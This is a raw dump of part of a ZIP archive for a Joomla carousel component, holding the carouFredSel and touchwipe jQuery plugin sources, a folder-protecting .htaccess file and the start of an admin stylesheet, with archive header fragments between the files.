fn == 'function') fn.call($tt0, crsl[eType]); return crsl[eType]; }); // configuration event $cfs.bind(cf_e('configuration', conf), function(e, a, b, c) { e.stopPropagation(); var reInit = false; // return entire configuration-object if (typeof a == 'function') { a.call($tt0, opts); // set multiple options via object } else if (typeof a == 'object') { opts_orig = $.extend(true, {}, opts_orig, a); if (b !== false) reInit = true; else opts = $.extend(true, {}, opts, a); } else if (typeof a != 'undefined') { // callback function for specific option if (typeof b == 'function') { var val = eval('opts.'+a); if (typeof val == 'undefined') val = ''; b.call($tt0, val); // set individual option } else if (typeof b != 'undefined') { if (typeof c !== 'boolean') c = true; eval('opts_orig.'+a+' = b'); if (c !== false) reInit = true; else eval('opts.'+a+' = b'); // return value for specific option } else { return eval('opts.'+a); } } if (reInit) { sz_resetMargin($cfs.children(), opts); $cfs._cfs_init(opts_orig); $cfs._cfs_bind_buttons(); var siz = sz_setSizes($cfs, opts, false); $cfs.trigger(cf_e('updatePageStatus', conf), [true, siz]); } return opts; }); // linkAnchors event $cfs.bind(cf_e('linkAnchors', conf), function(e, $con, sel) { e.stopPropagation(); if (typeof $con == 'undefined' || $con.length == 0) $con = $('body'); else if (typeof $con == 'string') $con = $($con); if (typeof $con != 'object') return debug(conf, 'Not a valid object.'); if (typeof sel != 'string' || sel.length == 0) sel = 'a.caroufredsel'; $con.find(sel).each(function() { var h = this.hash || ''; if (h.length > 0 && $cfs.children().index($(h)) != -1) { $(this).unbind('click').click(function(e) { e.preventDefault(); $cfs.trigger(cf_e('slideTo', conf), h); }); } }); return true; }); // updatePageStatus event $cfs.bind(cf_e('updatePageStatus', conf), function(e, build, sizes) { e.stopPropagation(); if (!opts.pagination.container) return; if (build) { var ipp = opts.pagination.items || opts.items.visible, l = Math.ceil(itms.total/ipp); if (opts.pagination.anchorBuilder) { opts.pagination.container.children().remove(); opts.pagination.container.each(function() { for (var a = 0; a < l; a++) { var i = $cfs.children().eq( gn_getItemIndex(a*ipp, 0, true, itms, $cfs) ); $(this).append(opts.pagination.anchorBuilder(a+1, i)); } }); } opts.pagination.container.each(function() { $(this).children().unbind(opts.pagination.event).each(function(a) { $(this).bind(opts.pagination.event, function(e) { e.preventDefault(); $cfs.trigger(cf_e('slideTo', conf), [a*ipp, 0, true, opts.pagination]); }); }); }); } opts.pagination.container.each(function() { $(this).children().removeClass(cf_c('selected', conf)).eq($cfs.triggerHandler(cf_e('currentPage', conf))).addClass(cf_c('selected', conf)); }); return true; }); // updateSizes event $cfs.bind(cf_e('updateSizes', conf), function(e) { var a_itm = $cfs.children(), vI = opts.items.visible; if (opts.items.visibleConf.variable) vI = gn_getVisibleItemsNext(a_itm, opts, 0); else if (opts.items.filter != '*') vI = gn_getVisibleItemsNextFilter(a_itm, opts, 0); if (!opts.circular && itms.first != 0 && vI > itms.first) { if (opts.items.visibleConf.variable) { var nI = gn_getVisibleItemsPrev(a_itm, opts, itms.first) - itms.first; } else if (opts.items.filter != '*') { var nI = gn_getVisibleItemsPrevFilter(a_itm, opts, itms.first) - itms.first; } else { nI = opts.items.visible - itms.first; } debug(conf, 'Preventing non-circular: sliding '+nI+' items backward.'); $cfs.trigger('prev', nI); } opts.items.visible = cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); return sz_setSizes($cfs, opts); }); // destroy event $cfs.bind(cf_e('destroy', conf), function(e, orgOrder) { e.stopPropagation(); tmrs = sc_clearTimers(tmrs); $cfs.data('cfs_isCarousel', false); $cfs.trigger(cf_e('finish', conf)); if (orgOrder) { $cfs.trigger(cf_e('jumpToStart', conf)); } if (opts.usePadding) { sz_resetMargin($cfs.children(), opts); } $cfs.css($cfs.data('cfs_origCss')); $cfs._cfs_unbind_events(); $cfs._cfs_unbind_buttons(); $wrp.replaceWith($cfs); return true; }); // triggerEvent, making prefixed and namespaced events accessible from the outside $cfs.bind('_cfs_triggerEvent', function(e, n, o) { e.stopPropagation(); return $cfs.triggerHandler(cf_e(n, conf), o); }); }; // /bind_events $cfs._cfs_unbind_events = function() { $cfs.unbind(cf_e('', conf)); $cfs.unbind(cf_e('', conf, false)); $cfs.unbind('_cfs_triggerEvent'); }; // /unbind_events $cfs._cfs_bind_buttons = function() { $cfs._cfs_unbind_buttons(); nv_showNavi(opts, itms.total, conf); nv_enableNavi(opts, itms.first, conf); if (opts.auto.pauseOnHover) { var pC = bt_pauseOnHoverConfig(opts.auto.pauseOnHover); $wrp.bind(cf_e('mouseenter', conf, false), function() { $cfs.trigger(cf_e('pause', conf), pC); }) .bind(cf_e('mouseleave', conf, false), function() { $cfs.trigger(cf_e('resume', conf)); }); } if (opts.auto.button) { opts.auto.button.bind(cf_e(opts.auto.event, conf, false), function(e) { e.preventDefault(); var ev = false, pC = null; if (crsl.isPaused) { ev = 'play'; } else if (opts.auto.pauseOnEvent) { ev = 'pause'; pC = bt_pauseOnHoverConfig(opts.auto.pauseOnEvent); } if (ev) { $cfs.trigger(cf_e(ev, conf), pC); } }); } if (opts.prev.button) { opts.prev.button.bind(cf_e(opts.prev.event, conf, false), function(e) { e.preventDefault(); $cfs.trigger(cf_e('prev', conf)); }); if (opts.prev.pauseOnHover) { var pC = bt_pauseOnHoverConfig(opts.prev.pauseOnHover); opts.prev.button.bind(cf_e('mouseenter', conf, false), function() { $cfs.trigger(cf_e('pause', conf), pC); }) .bind(cf_e('mouseleave', conf, false), function() { $cfs.trigger(cf_e('resume', conf)); }); } } if (opts.next.button) { opts.next.button.bind(cf_e(opts.next.event, conf, false), function(e) { e.preventDefault(); $cfs.trigger(cf_e('next', conf)); }); if (opts.next.pauseOnHover) { var pC = bt_pauseOnHoverConfig(opts.next.pauseOnHover); opts.next.button.bind(cf_e('mouseenter', conf, false), function() { $cfs.trigger(cf_e('pause', conf), pC); }) .bind(cf_e('mouseleave', conf, false), function() { $cfs.trigger(cf_e('resume', conf)); }); } } if ($.fn.mousewheel) { if (opts.prev.mousewheel) { if (!crsl.mousewheelPrev) { crsl.mousewheelPrev = true; $wrp.mousewheel(function(e, delta) { if (delta > 0) { e.preventDefault(); var num = bt_mousesheelNumber(opts.prev.mousewheel); $cfs.trigger(cf_e('prev', conf), num); } }); } } if (opts.next.mousewheel) { if (!crsl.mousewheelNext) { crsl.mousewheelNext = true; $wrp.mousewheel(function(e, delta) { if (delta < 0) { e.preventDefault(); var num = bt_mousesheelNumber(opts.next.mousewheel); $cfs.trigger(cf_e('next', conf), num); } }); } } } if ($.fn.touchwipe) { var wP = (opts.prev.wipe) ? function() { $cfs.trigger(cf_e('prev', conf)) } : null, wN = (opts.next.wipe) ? function() { $cfs.trigger(cf_e('next', conf)) } : null; if (wN || wN) { if (!crsl.touchwipe) { crsl.touchwipe = true; var twOps = { 'min_move_x': 30, 'min_move_y': 30, 'preventDefaultEvents': true }; switch (opts.direction) { case 'up': case 'down': twOps.wipeUp = wP; twOps.wipeDown = wN; break; default: twOps.wipeLeft = wN; twOps.wipeRight = wP; } $wrp.touchwipe(twOps); } } } if (opts.pagination.container) { if (opts.pagination.pauseOnHover) { var pC = bt_pauseOnHoverConfig(opts.pagination.pauseOnHover); opts.pagination.container.bind(cf_e('mouseenter', conf, false), function() { $cfs.trigger(cf_e('pause', conf), pC); }) .bind(cf_e('mouseleave', conf, false), function() { $cfs.trigger(cf_e('resume', conf)); }); } } if (opts.prev.key || opts.next.key) { $(document).bind(cf_e('keyup', conf, false, true, true), function(e) { var k = e.keyCode; if (k == opts.next.key) { e.preventDefault(); $cfs.trigger(cf_e('next', conf)); } if (k == opts.prev.key) { e.preventDefault(); $cfs.trigger(cf_e('prev', conf)); } }); } if (opts.pagination.keys) { $(document).bind(cf_e('keyup', conf, false, true, true), function(e) { var k = e.keyCode; if (k >= 49 && k < 58) { k = (k-49) * opts.items.visible; if (k <= itms.total) { e.preventDefault(); $cfs.trigger(cf_e('slideTo', conf), [k, 0, true, opts.pagination]); } } }); } if (opts.auto.play) { $cfs.trigger(cf_e('play', conf), opts.auto.delay); } if (crsl.upDateOnWindowResize) { var $w = $(window), _windowWidth = $w.width(), _windowHeight = $w.height(); $w.bind(cf_e('resize', conf, false, true, true), function(e) { if ($w.width() != _windowWidth || $w.height() != _windowHeight) { $cfs.trigger(cf_e('finish', conf)); if (opts.auto.pauseOnResize && !crsl.isPaused) { $cfs.trigger(cf_e('play', conf)); } sz_resetMargin($cfs.children(), opts); $cfs._cfs_init(opts_orig); var siz = sz_setSizes($cfs, opts, false); $cfs.trigger(cf_e('updatePageStatus', conf), [true, siz]); _windowWidth = $w.width(); _windowHeight = $w.height(); } }); } }; // /bind_buttons $cfs._cfs_unbind_buttons = function() { var ns1 = cf_e('', conf), ns2 = cf_e('', conf, false); ns3 = cf_e('', conf, false, true, true); $(document).unbind(ns3); $(window).unbind(ns3); $wrp.unbind(ns2); if (opts.auto.button) opts.auto.button.unbind(ns2); if (opts.prev.button) opts.prev.button.unbind(ns2); if (opts.next.button) opts.next.button.unbind(ns2); if (opts.pagination.container) { opts.pagination.container.unbind(ns2); if (opts.pagination.anchorBuilder) { opts.pagination.container.children().remove(); } } nv_showNavi(opts, 'hide', conf); nv_enableNavi(opts, 'removeClass', conf); }; // /unbind_buttons // START var crsl = { 'direction' : 'next', 'isPaused' : true, 'isScrolling' : false, 'isStopped' : false, 'mousewheelNext': false, 'mousewheelPrev': false, 'touchwipe' : false }, itms = { 'total' : $cfs.children().length, 'first' : 0 }, tmrs = { 'timer' : null, 'auto' : null, 'queue' : null, 'startTime' : getTime(), 'timePassed' : 0 }, scrl = { 'isStopped' : false, 'duration' : 0, 'startTime' : 0, 'easing' : '', 'anims' : [] }, clbk = { 'onBefore' : [], 'onAfter' : [] }, queu = [], conf = $.extend(true, {}, $.fn.carouFredSel.configs, configs), opts = {}, opts_orig = options, $wrp = $cfs.wrap('<'+conf.wrapper.element+' class="'+conf.wrapper.classname+'" />').parent(); conf.selector = $cfs.selector; conf.serialNumber = $.fn.carouFredSel.serialNumber++; // create carousel $cfs._cfs_init(opts_orig, true, starting_position); $cfs._cfs_build(); $cfs._cfs_bind_events(); $cfs._cfs_bind_buttons(); // find item to start if (is_array(opts.items.start)) { var start_arr = opts.items.start; } else { var start_arr = []; if (opts.items.start != 0) { start_arr.push(opts.items.start); } } if (opts.cookie) { start_arr.unshift(cf_readCookie(opts.cookie)); } if (start_arr.length > 0) { for (var a = 0, l = start_arr.length; a < l; a++) { var s = start_arr[a]; if (s == 0) { continue; } if (s === true) { s = window.location.hash; if (s.length < 1) { continue; } } else if (s === 'random') { s = Math.floor(Math.random()*itms.total); } if ($cfs.triggerHandler(cf_e('slideTo', conf), [s, 0, true, { fx: 'none' }])) { break; } } } var siz = sz_setSizes($cfs, opts, false), itm = gi_getCurrentItems($cfs.children(), opts); if (opts.onCreate) { opts.onCreate.call($tt0, itm, siz); } $cfs.trigger(cf_e('updatePageStatus', conf), [true, siz]); $cfs.trigger(cf_e('linkAnchors', conf)); return $cfs; }; // GLOBAL PUBLIC $.fn.carouFredSel.serialNumber = 1; $.fn.carouFredSel.defaults = { 'synchronise' : false, 'infinite' : true, 'circular' : true, 'responsive' : false, 'direction' : 'left', 'items' : { 'start' : 0 }, 'scroll' : { 'easing' : 'swing', 'duration' : 500, 'pauseOnHover' : false, 'mousewheel' : false, 'wipe' : false, 'event' : 'click', 'queue' : false } }; $.fn.carouFredSel.configs = { 'debug' : false, 'events' : { 'prefix' : '', 'namespace' : 'cfs' }, 'wrapper' : { 'element' : 'div', 'classname' : 'caroufredsel_wrapper' }, 'classnames' : {} }; $.fn.carouFredSel.pageAnchorBuilder = function(nr, itm) { return ''+nr+''; }; // GLOBAL PRIVATE // scrolling functions function sc_setScroll(d, e) { return { anims : [], duration : d, orgDuration : d, easing : e, startTime : getTime() }; } function sc_startScroll(s) { if (typeof s.pre == 'object') { sc_startScroll(s.pre); } for (var a = 0, l = s.anims.length; a < l; a++) { var b = s.anims[a]; if (!b) continue; if (b[3]) b[0].stop(); b[0].animate(b[1], { complete: b[2], duration: s.duration, easing: s.easing }); } if (typeof s.post == 'object') { sc_startScroll(s.post); } } function sc_stopScroll(s, finish) { if (typeof finish != 'boolean') finish = true; if (typeof s.pre == 'object') { sc_stopScroll(s.pre, finish); } for (var a = 0, l = s.anims.length; a < l; a++) { var b = s.anims[a]; b[0].stop(true); if (finish) { b[0].css(b[1]); if (typeof b[2] == 'function') b[2](); } } if (typeof s.post == 'object') { sc_stopScroll(s.post, finish); } } function sc_clearTimers(t) { if (t.auto) clearTimeout(t.auto); return t; } function sc_callCallbacks(cbs, t, args) { if (cbs.length) { for (var a = 0, l = cbs.length; a < l; a++) { cbs[a].apply(t, args); } } return []; } // fx functions function fx_fade(sO, c, x, d, f) { var o = { 'duration' : d, 'easing' : sO.easing }; if (typeof f == 'function') o.complete = f; c.animate({ opacity: x }, o); } function fx_cover(sc, c1, c2, o, prev) { var old_w = ms_getSizes(gi_getOldItemsNext(c1.children(), o), o, true)[0], new_w = ms_getSizes(c2.children(), o, true)[0], cur_l = (prev) ? -new_w : old_w, css_o = {}, ani_o = {}; css_o[o.d['width']] = new_w; css_o[o.d['left']] = cur_l; ani_o[o.d['left']] = 0; sc.pre.anims.push([c1, { 'opacity': 1 }]); sc.post.anims.push([c2, ani_o, function() { $(this).remove(); }]); c2.css(css_o); return sc; } function fx_uncover(sc, c1, c2, o, prev, n) { var new_w = ms_getSizes(gi_getNewItemsNext(c1.children(), o, n), o, true)[0], old_w = ms_getSizes(c2.children(), o, true)[0], cur_l = (prev) ? -old_w : new_w, css_o = {}, ani_o = {}; css_o[o.d['width']] = old_w; css_o[o.d['left']] = 0; ani_o[o.d['left']] = cur_l; sc.post.anims.push([c2, ani_o, function() { $(this).remove(); }]); c2.css(css_o); return sc; } // navigation functions function nv_showNavi(o, t, c) { if (t == 'show' || t == 'hide') { var f = t; } else if (o.items.minimum >= t) { debug(c, 'Not enough items: hiding navigation ('+t+' items, '+o.items.minimum+' needed).'); var f = 'hide'; } else { var f = 'show'; } var s = (f == 'show') ? 'removeClass' : 'addClass', h = cf_c('hidden', c); if (o.auto.button) o.auto.button[f]()[s](h); if (o.prev.button) o.prev.button[f]()[s](h); if (o.next.button) o.next.button[f]()[s](h); if (o.pagination.container) o.pagination.container[f]()[s](h); } function nv_enableNavi(o, f, c) { if (o.circular || o.infinite) return; var fx = (f == 'removeClass' || f == 'addClass') ? f : false, di = cf_c('disabled', c); if (o.auto.button && fx) { o.auto.button[fx](di); } if (o.prev.button) { var fn = fx || (f == 0) ? 'addClass' : 'removeClass'; o.prev.button[fn](di); } if (o.next.button) { var fn = fx || (f == o.items.visible) ? 'addClass' : 'removeClass'; o.next.button[fn](di); } } // get object functions function go_getObject($tt, obj) { if (typeof obj == 'function') obj = obj.call($tt); if (typeof obj == 'undefined') obj = {}; return obj; } function go_getNaviObject($tt, obj, type) { if (typeof type != 'string') type = ''; obj = go_getObject($tt, obj); if (typeof obj == 'string') { var temp = cf_getKeyCode(obj); if (temp == -1) obj = $(obj); else obj = temp; } // pagination if (type == 'pagination') { if (typeof obj == 'boolean') obj = { 'keys': obj }; if (typeof obj.jquery != 'undefined') obj = { 'container': obj }; if (typeof obj.container == 'function') obj.container = obj.container.call($tt); if (typeof obj.container == 'string') obj.container = $(obj.container); if (typeof obj.items != 'number') obj.items = false; // auto } else if (type == 'auto') { if (typeof obj.jquery != 'undefined') obj = { 'button': obj }; if (typeof obj == 'boolean') obj = { 'play': obj }; if (typeof obj == 'number') obj = { 'pauseDuration': obj }; if (typeof obj.button == 'function') obj.button = obj.button.call($tt); if (typeof obj.button == 'string') obj.button = $(obj.button); // prev + next } else { if (typeof obj.jquery != 'undefined') obj = { 'button': obj }; if (typeof obj == 'number') obj = { 'key': obj }; if (typeof obj.button == 'function') obj.button = obj.button.call($tt); if (typeof obj.button == 'string') obj.button = $(obj.button); if (typeof obj.key == 'string') obj.key = cf_getKeyCode(obj.key); } return obj; } // get number functions function gn_getItemIndex(num, dev, org, items, $cfs) { if (typeof num == 'string') { if (isNaN(num)) num = $(num); else num = parseInt(num); } if (typeof num == 'object') { if (typeof num.jquery == 'undefined') num = $(num); num = $cfs.children().index(num); if (num == -1) num = 0; if (typeof org != 'boolean') org = false; } else { if (typeof org != 'boolean') org = true; } if (isNaN(num)) num = 0; else num = parseInt(num); if (isNaN(dev)) dev = 0; else dev = parseInt(dev); if (org) { num += items.first; } num += dev; if (items.total > 0) { while (num >= items.total) { num -= items.total; } while (num < 0) { num += items.total; } } return num; } // items prev function gn_getVisibleItemsPrev(i, o, s) { var t = 0, x = 0; for (var a = s; a >= 0; a--) { var j = i.eq(a); t += (j.is(':visible')) ? j[o.d['outerWidth']](true) : 0; if (t > o.maxDimention) return x; if (a == 0) a = i.length; x++; } } function gn_getVisibleItemsPrevFilter(i, o, s) { return gn_getItemsPrevFilter(i, o.items.filter, o.items.visibleConf.org, s); } function gn_getScrollItemsPrevFilter(i, o, s, m) { return gn_getItemsPrevFilter(i, o.items.filter, m, s); } function gn_getItemsPrevFilter(i, f, m, s) { var t = 0, x = 0; for (var a = s, l = i.length; a >= 0; a--) { x++; if (x == l) return x; var j = i.eq(a); if (j.is(f)) { t++; if (t == m) return x; } if (a == 0) a = l; } } function gn_getVisibleOrg($c, o) { return o.items.visibleConf.org || $c.children().slice(0, o.items.visible).filter(o.items.filter).length; } // items next function gn_getVisibleItemsNext(i, o, s) { var t = 0, x = 0; for (var a = s, l = i.length-1; a <= l; a++) { var j = i.eq(a); t += (j.is(':visible')) ? j[o.d['outerWidth']](true) : 0; if (t > o.maxDimention) return x; x++; if (x == l+1) return x; if (a == l) a = -1; } } function gn_getVisibleItemsNextTestCircular(i, o, s, l) { var v = gn_getVisibleItemsNext(i, o, s); if (!o.circular) { if (s + v > l) v = l - s; } return v; } function gn_getVisibleItemsNextFilter(i, o, s) { return gn_getItemsNextFilter(i, o.items.filter, o.items.visibleConf.org, s, o.circular); } function gn_getScrollItemsNextFilter(i, o, s, m) { return gn_getItemsNextFilter(i, o.items.filter, m+1, s, o.circular) - 1; } function gn_getItemsNextFilter(i, f, m, s, c) { var t = 0, x = 0; for (var a = s, l = i.length-1; a <= l; a++) { x++; if (x == l) return x; var j = i.eq(a); if (j.is(f)) { t++; if (t == m) return x; } if (a == l) a = -1; } } // get items functions function gi_getCurrentItems(i, o) { return i.slice(0, o.items.visible); } function gi_getOldItemsPrev(i, o, n) { return i.slice(n, o.items.visibleConf.old+n); } function gi_getNewItemsPrev(i, o) { return i.slice(0, o.items.visible); } function gi_getOldItemsNext(i, o) { return i.slice(0, o.items.visibleConf.old); } function gi_getNewItemsNext(i, o, n) { return i.slice(n, o.items.visible+n); } // sizes functions function sz_resetMargin(i, o, m) { var x = (typeof m == 'boolean') ? m : false; if (typeof m != 'number') m = 0; i.each(function() { var j = $(this); var t = parseInt(j.css(o.d['marginRight'])); if (isNaN(t)) t = 0; j.data('cfs_tempCssMargin', t); j.css(o.d['marginRight'], ((x) ? j.data('cfs_tempCssMargin') : m + j.data('cfs_origCssMargin'))); }); } function sz_setSizes($c, o, p) { var $w = $c.parent(), $i = $c.children(), $v = gi_getCurrentItems($i, o), sz = cf_mapWrapperSizes(ms_getSizes($v, o, true), o, p); $w.css(sz); if (o.usePadding) { var p = o.padding, r = p[o.d[1]]; if (o.align) { if (r < 0) r = 0; } var $l = $v.last(); $l.css(o.d['marginRight'], $l.data('cfs_origCssMargin') + r); $c.css(o.d['top'], p[o.d[0]]); $c.css(o.d['left'], p[o.d[3]]); } $c.css(o.d['width'], sz[o.d['width']]+(ms_getTotalSize($i, o, 'width')*2)); $c.css(o.d['height'], ms_getLargestSize($i, o, 'height')); return sz; } // measuring functions function ms_getSizes(i, o, wrapper) { var s1 = ms_getTotalSize(i, o, 'width', wrapper), s2 = ms_getLargestSize(i, o, 'height', wrapper); return [s1, s2]; } function ms_getLargestSize(i, o, dim, wrapper) { if (typeof wrapper != 'boolean') wrapper = false; if (typeof o[o.d[dim]] == 'number' && wrapper) return o[o.d[dim]]; if (typeof o.items[o.d[dim]] == 'number') return o.items[o.d[dim]]; var di2 = (dim.toLowerCase().indexOf('width') > -1) ? 'outerWidth' : 'outerHeight'; return ms_getTrueLargestSize(i, o, di2); } function ms_getTrueLargestSize(i, o, dim) { var s = 0; for (var a = 0, l = i.length; a < l; a++) { var j = i.eq(a); var m = (j.is(':visible')) ? j[o.d[dim]](true) : 0; if (s < m) s = m; } return s; } function ms_getTrueInnerSize($el, o, dim) { if (!$el.is(':visible')) return 0; var siz = $el[o.d[dim]](), arr = (o.d[dim].toLowerCase().indexOf('width') > -1) ? ['paddingLeft', 'paddingRight'] : ['paddingTop', 'paddingBottom']; for (var a = 0, l = arr.length; a < l; a++) { var m = parseInt($el.css(arr[a])); siz -= (isNaN(m)) ? 0 : m; } return siz; } function ms_getTotalSize(i, o, dim, wrapper) { if (typeof wrapper != 'boolean') wrapper = false; if (typeof o[o.d[dim]] == 'number' && wrapper) return o[o.d[dim]]; if (typeof o.items[o.d[dim]] == 'number') return o.items[o.d[dim]] * i.length; var d = (dim.toLowerCase().indexOf('width') > -1) ? 'outerWidth' : 'outerHeight', s = 0; for (var a = 0, l = i.length; a < l; a++) { var j = i.eq(a); s += (j.is(':visible')) ? j[o.d[d]](true) : 0; } return s; } function ms_hasVariableSizes(i, o, dim) { var s = false, v = false; for (var a = 0, l = i.length; a < l; a++) { var j = i.eq(a); var c = (j.is(':visible')) ? j[o.d[dim]](true) : 0; if (s === false) s = c; else if (s != c) v = true; if (s == 0) v = true; } return v; } function ms_getPaddingBorderMargin(i, o, d) { return i[o.d['outer'+d]](true) - ms_getTrueInnerSize(i, o, 'inner'+d); } function ms_isPercentage(x) { return (typeof x == 'string' && x.slice(-1) == '%'); } function ms_getPercentage(s, o) { if (ms_isPercentage(o)) { o = o.slice(0, -1); if (isNaN(o)) return s; s *= o/100; } return s; } // config functions function cf_e(n, c, pf, ns, rd) { if (typeof pf != 'boolean') pf = true; if (typeof ns != 'boolean') ns = true; if (typeof rd != 'boolean') rd = false; if (pf) n = c.events.prefix + n; if (ns) n = n +'.'+ c.events.namespace; if (ns && rd) n += c.serialNumber; return n; } function cf_c(n, c) { return (typeof c.classnames[n] == 'string') ? c.classnames[n] : n; } function cf_mapWrapperSizes(ws, o, p) { if (typeof p != 'boolean') p = true; var pad = (o.usePadding && p) ? o.padding : [0, 0, 0, 0]; var wra = {}; wra[o.d['width']] = ws[0] + pad[1] + pad[3]; wra[o.d['height']] = ws[1] + pad[0] + pad[2]; return wra; } function cf_sortParams(vals, typs) { var arr = []; for (var a = 0, l1 = vals.length; a < l1; a++) { for (var b = 0, l2 = typs.length; b < l2; b++) { if (typs[b].indexOf(typeof vals[a]) > -1 && typeof arr[b] == 'undefined') { arr[b] = vals[a]; break; } } } return arr; } function cf_getPadding(p) { if (typeof p == 'undefined') return [0, 0, 0, 0]; if (typeof p == 'number') return [p, p, p, p]; else if (typeof p == 'string') p = p.split('px').join('').split('em').join('').split(' '); if (!is_array(p)) { return [0, 0, 0, 0]; } for (var i = 0; i < 4; i++) { p[i] = parseInt(p[i]); } switch (p.length) { case 0: return [0, 0, 0, 0]; case 1: return [p[0], p[0], p[0], p[0]]; case 2: return [p[0], p[1], p[0], p[1]]; case 3: return [p[0], p[1], p[2], p[1]]; default: return [p[0], p[1], p[2], p[3]]; } } function cf_getAlignPadding(itm, o) { var x = (typeof o[o.d['width']] == 'number') ? Math.ceil(o[o.d['width']] - ms_getTotalSize(itm, o, 'width')) : 0; switch (o.align) { case 'left': return [0, x]; case 'right': return [x, 0]; case 'center': default: return [Math.ceil(x/2), Math.floor(x/2)]; } } function cf_getAdjust(x, o, a, $t) { var v = x; if (typeof a == 'function') { v = a.call($t, v); } else if (typeof a == 'string') { var p = a.split('+'), m = a.split('-'); if (m.length > p.length) { var neg = true, sta = m[0], adj = m[1]; } else { var neg = false, sta = p[0], adj = p[1]; } switch(sta) { case 'even': v = (x % 2 == 1) ? x-1 : x; break; case 'odd': v = (x % 2 == 0) ? x-1 : x; break; default: v = x; break; } adj = parseInt(adj); if (!isNaN(adj)) { if (neg) adj = -adj; v += adj; } } if (typeof v != 'number') v = 1; if (v < 1) v = 1; return v; } function cf_getItemsAdjust(x, o, a, $t) { return cf_getItemAdjustMinMax(cf_getAdjust(x, o, a, $t), o.items.visibleConf); } function cf_getItemAdjustMinMax(v, i) { if (typeof i.min == 'number' && v < i.min) v = i.min; if (typeof i.max == 'number' && v > i.max) v = i.max; if (v < 1) v = 1; return v; } function cf_getSynchArr(s) { if (!is_array(s)) s = [[s]]; if (!is_array(s[0])) s = [s]; for (var j = 0, l = s.length; j < l; j++) { if (typeof s[j][0] == 'string') s[j][0] = $(s[j][0]); if (typeof s[j][1] != 'boolean') s[j][1] = true; if (typeof s[j][2] != 'boolean') s[j][2] = true; if (typeof s[j][3] != 'number') s[j][3] = 0; } return s; } function cf_getKeyCode(k) { if (k == 'right') return 39; if (k == 'left') return 37; if (k == 'up') return 38; if (k == 'down') return 40; return -1; } function cf_setCookie(n, v) { if (n) document.cookie = n+'='+v+'; path=/'; } function cf_readCookie(n) { n += '='; var ca = document.cookie.split(';'); for (var a = 0, l = ca.length; a < l; a++) { var c = ca[a]; while (c.charAt(0) == ' ') { c = c.slice(1); } if (c.indexOf(n) == 0) { return c.slice(n.length); } } return 0; } // buttons functions function bt_pauseOnHoverConfig(p) { if (p && typeof p == 'string') { var i = (p.indexOf('immediate') > -1) ? true : false, r = (p.indexOf('resume') > -1) ? true : false; } else { var i = r = false; } return [i, r]; } function bt_mousesheelNumber(mw) { return (typeof mw == 'number') ? mw : null } // helper functions function is_array(a) { return typeof(a) == 'object' && (a instanceof Array); } function getTime() { return new Date().getTime(); } function debug(d, m) { if (typeof d == 'object') { var s = ' ('+d.selector+')'; d = d.debug; } else { var s = ''; } if (!d) return false; if (typeof m == 'string') m = 'carouFredSel'+s+': ' + m; else m = ['carouFredSel'+s+':', m]; if (window.console && window.console.log) window.console.log(m); return false; } // CAROUFREDSEL ALL LOWERCASE $.fn.caroufredsel = function(o, c) { return this.carouFredSel(o, c); }; // EASING FUNCTIONS $.extend($.easing, { 'quadratic' : function(t) { var t2 = t * t; return t * (-t2 * t + 4 * t2 - 6 * t + 4); }, 'cubic' : function(t) { return t * (4 * t * t - 9 * t + 6); }, 'elastic' : function(t) { var t2 = t * t; return t * (33 * t2 * t2 - 106 * t2 * t + 126 * t2 - 67 * t + 15); } }); })(jQuery);PKs>\s)?com_unitehcarousel/assets/fred-carousel/jquery.touchwipe.min.jsnuW+A/** * jQuery Plugin to obtain touch gestures from iPhone, iPod Touch and iPad, should also work with Android mobile phones (not tested yet!) * Common usage: wipe images (left and right to show the previous or next image) * * @author Andreas Waltl, netCU Internetagentur (http://www.netcu.de) * @version 1.1.1 (9th December 2010) - fix bug (older IE's had problems) * @version 1.1 (1st September 2010) - support wipe up and wipe down * @version 1.0 (15th July 2010) */ (function($){$.fn.touchwipe=function(settings){var config={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:true};if(settings)$.extend(config,settings);this.each(function(){var startX;var startY;var isMoving=false;function cancelTouch(){this.removeEventListener('touchmove',onTouchMove);startX=null;isMoving=false}function onTouchMove(e){if(config.preventDefaultEvents){e.preventDefault()}if(isMoving){var x=e.touches[0].pageX;var y=e.touches[0].pageY;var dx=startX-x;var dy=startY-y;if(Math.abs(dx)>=config.min_move_x){cancelTouch();if(dx>0){config.wipeLeft()}else{config.wipeRight()}}else if(Math.abs(dy)>=config.min_move_y){cancelTouch();if(dy>0){config.wipeDown()}else{config.wipeUp()}}}}function onTouchStart(e){if(e.touches.length==1){startX=e.touches[0].pageX;startY=e.touches[0].pageY;isMoving=true;this.addEventListener('touchmove',onTouchMove,false)}}if('ontouchstart'in document.documentElement){this.addEventListener('touchstart',onTouchStart,false)}});return this}})(jQuery);PKs>\)1com_unitehcarousel/assets/fred-carousel/.htaccessnuW+A Order allow,deny Deny from all PKs>\2com_unitehcarousel/assets/fred-carousel/index.htmlnuW+APKs>\{zU((#com_unitehcarousel/assets/style.cssnuW+A /* ----------------- General Styles --------------- */ #div_debug{ font-size:14px; } .invisible{ opacity:0; filter:alpha(opacity=0); } .error_message_box{ padding:5px; border:1px solid #B70F0F; /* red */ background-color:#F8E0E0; font-size:14px; margin:10px; } .success_message_box{ padding:5px; border:1px solid #2E982E; /* green */ background-color:#E8F8E8; font-size:14px; margin:10px; } .clear{ clear:both; } input.textbox-small{ width:40px; padding-left:2px; } input.color-picker{ width:63px; padding-left:2px; } .sap_vert{ height:40px; } .input_url{ width:230px; } .hidden{ display:none; } .input_example{ float:left; display:block; padding-top:7px; font-style:italic; } .area_left{ height:100px; } .slider_edit_slides a{ margin-left:10px; margin-top:10px; font-size:20px; } .help_item{ width:500px; max-width:500px; } .toggle-editor{ clear:both; } .inputbox_big{ width:240px; font-size: 1.364em; } .component_footer{ padding-top:10px; text-align:right; padding-right:10px; color:#666666; } #component_footer_link{ color:#666666; text-decoration:underline; } /* ----------------- Buttons --------------- */ a.button-secondary{ border:1px solid #A1A1A1; padding:3px; text-decoration:none; background-color:#E3E3E3; } a.button-secondary:hover{ text-decoration:none; background-color:#ECECEC; } a.button-primary{ text-decoration:none; background: 